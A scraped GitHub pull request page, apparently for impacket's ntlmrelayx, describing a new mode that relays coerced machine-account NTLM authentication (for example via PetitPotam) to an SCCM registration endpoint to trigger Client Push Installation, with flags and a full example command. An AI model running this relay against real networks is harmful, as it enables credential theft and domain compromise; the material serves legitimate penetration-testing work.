Add SCCM Client Push Installation via cross‑protocol relay (SCCM) #2073
+347
−4
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
This PR adds support for invoking SCCM Client Push Installation from Linux. Though already implemented in sccmhunter by using a machine account to register an approved device. This implementation goes a step further by utilizing cross-protocol relaying.
By coercing authentication (using PetitPotam e.g.) the incoming computer account authentication can be used and relayed towards the SCCM registration endpoint. This approach effectively removes the requirement for a machine account.
The attack is initiated with
--sccm-clientpush. Use--sccm-clientpush-deviceto specify the device name,--sccm-clientpush-sitefor the SCCM site, and--sccm-clientpush-ipto specify the listening port to which the SCCM Client Push installation should be sent. By default a 3 second sleep is used, but this can be changed with the--sccm-clientpush-sleepflag. I noticed that the 10 second sleep timer used in sccmhunter when sending the DDR request does not place the device registration in the incoming queue.A valid command would look like this:
python3 ntlmrelayx.py -t 'http://192.168.2.85/ccm_system_windowsauth/request' --sccm-clientpush --sccm-clientpush-devicename fakedevice --sccm-clientpush-site PWN --sccm-clientpush-ip 192.168.2.78 -smb2supportBelow is an image of the
ccm.logfile confirming that the requested device as placed inside of the "Incoming" queue and Client Push Installation is invoked: